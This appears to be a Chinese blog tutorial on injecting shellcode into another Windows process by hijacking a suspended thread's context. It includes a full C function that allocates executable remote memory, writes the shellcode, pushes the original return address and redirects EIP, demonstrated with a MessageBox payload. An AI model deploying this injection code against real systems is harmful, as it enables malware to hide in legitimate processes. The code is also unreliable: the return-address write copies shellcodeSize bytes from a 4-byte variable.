zoukankan      html  css  js  c++  java
  • windows:shellcode 远程线程hook/注入(二)

            https://www.cnblogs.com/theseventhson/p/13218651.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程supend之前的地址继续执行原线程的代码了?当时想的动态获取context中eip的地址,再把push eip 转成机器码,最后放到shellcode的头部。由于shellcode是C3(ret)结尾了,自然会把栈顶的4字节弹出来赋值给EIP,达到回到原线程代码继续执行的目的。但实际操作时,地址往往会带00,转成字符串操作时会被截断,导致返回地址错误,程序最终“跑飞”,不知道运行到哪去了。这种方式现在就卡这了:要想尽一切办法把返回地址写入栈顶

            刚开始的思路是拿到目标进程的DirTableBae,赋值给当前CR3,达到进程切换的目的,然后通过sub esp,4;  mov [esp], eip; 把eip写道栈顶;但实际操作时,在3环暂时未发现获取目标进程CR3的方法,这种思路暂时无法落地;最后还是靠着WriteProcessMemory把eip写入栈顶。shellcode注入部分代码更改如下:

           其他没变,增加了两行:ctx.Esp = ctx.Esp - 4;    WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL);

    BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
    {
        LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        printf("shellcode address:%p
    ", shellAddress);
        if (shellAddress == NULL)
        {
            printf("VirtualAlloc Error
    ");
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
            ResumeThread(hThread);
            return FALSE;
        }
    
        WOW64_CONTEXT ctx = { 0 };
        ctx.ContextFlags = CONTEXT_ALL;
    
        if (!Wow64GetThreadContext(hThread, &ctx))
        {
            int a = GetLastError();
            printf("GetThreadContext Error:%d
    ", a);
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            ResumeThread(hThread);
            return FALSE;
        }
        
        DWORD currentEIP = ctx.Eip;
        DWORD currentESP = ctx.Esp;
        if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
        {
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            printf("write shellcode error
    ");
            ResumeThread(hThread);
            return FALSE;
        }
        ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
        ctx.Esp = ctx.Esp - 4;//分配4字节的空间,用来存放shellcode执行后的返回地址,也就是currentEIP,如下:
        printf("ctx.Esp:%p
    ", ctx.Esp);
        printf("return address:%p
    ", currentEIP);
        if (WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL) == 0)
        {
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            printf("write shellcode error
    ");
            ResumeThread(hThread);
            return FALSE;
        }
        if (!Wow64SetThreadContext(hThread, &ctx))
        {
            VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
            printf("set thread context error
    ");
            ResumeThread(hThread);
            return FALSE;
        }
        ResumeThread(hThread);
        return TRUE;
    }

      效果如下:确实弹出了messageBox:

         

          process hacker查看:shellcode成功写入:

      

      返回地址也成功写入:

       

           最后:推荐一个歪果仁总结的进程注入方法,非常详细,墙裂推荐:

            https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf

  • 相关阅读:
    java生成pdf文字水印和图片水印
    el-date-picker设置可选范围picker-options需要注意的事项,要不然可能会报undefined的错误
    Invalid prop: type check failed for prop "value". Expected String, Number, got Boolean with value false.
    el-table去掉最外层的边框线
    工业物联网之设备云控3 QuartzNet任务调度程序
    工业物联网之设备云控4 管理平台
    工业物联网之设备云控1 技术方案
    C# NModbus4实现PLC数据获取(参考HslCommunication)
    工业物联网之设备云控5 对接流程
    Mongdb数据备份和还原
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13233078.html
Copyright © 2011-2022 走看看